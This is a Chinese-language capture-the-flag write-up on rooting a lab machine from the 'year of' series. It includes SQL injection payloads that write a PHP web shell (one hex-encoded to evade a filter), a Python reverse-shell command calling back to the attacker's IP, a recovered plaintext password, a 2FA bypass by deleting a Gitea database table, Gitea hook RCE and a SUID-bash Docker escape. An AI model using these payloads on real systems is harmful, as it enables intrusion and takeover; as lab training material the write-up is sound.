Before all
差Jellyfish就可以把year of系列打完ㄌ
Attacker’s IP : 10.9.195.189
Victim’s IP : 10.10.178.204
Write up
RECON
port scan
Command
1 | rustscan -a 10.10.178.204 --ulimit 5000 -- -sC -sV -Pn |
標準的ssh+http service
Exploit
SQL Injection to RCE
進到網站後他會給一個cookie,key是id,然後是根據那個顯示你在queue裡面ㄉnumber
試試看 SQLi >w<
欸可以欸,調整一下payload去寫檔:
1 | ' UNION SELECT 1, "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/exploit.php' -- - |
然後就跳出RCE Attempted
警告ㄌ…
換成hex試著繞:
1 | ' UNION SELECT 1, unhex('3C3F7068702073797374656D28245F4745545B27636D64275D293B203F3E') INTO OUTFILE '/var/www/html/exploit.php' -- - |
成功get shell!!!
彈reverse shell回本地:https://10.10.178.204/exploit.php?cmd=export%20RHOST=%2210.9.195.189%22;export%20RPORT=9999;python3%20-c%20%27import%20sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));[os.dup2(s.fileno(),fd)%20for%20fd%20in%20(0,1,2)];pty.spawn(%22sh%22)%27
Privilege Escalation
www-data to dylan
透過列舉home找到dylan這個user,切進去
ls 一下找到 work_analysis,cat出來是很大一份ssh log檔(??)
嘗試grep dylan相關的資訊:cat work_analysis | grep dylan
成功找到密碼:Labr4d0rs4L1f3
Gitea Exploitation
逛了一圈先ss -tulnp
看了一下有哪些service
發現端口3000有開,curl下去:
看的出來是一個Gitea Service
聽說過Gitea有蠻多問題,利用ssh port forward出來
1 | ssh -L 3000:localhost:3000 dylan@10.10.178.204 |
可以在自己的localhost:3000造訪了,先用剛剛ssh的密碼password reuse,發現可以登入,但是需要2fa…
在主機跟目錄有個/gitea
的路徑,進去之後再切到裡面的/gitea路徑,應該就是Gitea的source fileㄌ,其中有個./gitea.db
的資料庫,這邊使用最簡單暴力的方法處理:python打開,將two_factor table直接刪除
1 | from sqlite3 import * |
接著就登入Gitea啦~
參考CVE-2020-14144
,在Gitea中,可以到Setting/Hooks去撰寫一些腳本讓repo在觸發特定行為(如 pull上去)時被執行,也就RCEㄌ(但是看了下這台Gitea版本是1.13.0,理論上不能打(?),不過試成功了)
彈回port 9999ㄅ
1 | #!/bin/bash |
Docker Mirror Abuse
sudo -l 一下發現自己已經是root,逛了一圈發現自己在Docker裡面,然後/data是映射到主機/gitea的,所以在Docker把主機的/bin/bash下載下來(本機開http server),然後用chmod切suid,搬到Docker的gitea,最後到主機 ./bash -p 就rootㄌ
主機:
1 | cd /bin |
Docker:
1 | wget localhost:8080/bash |
主機:
1 | cd gitea |
rooted!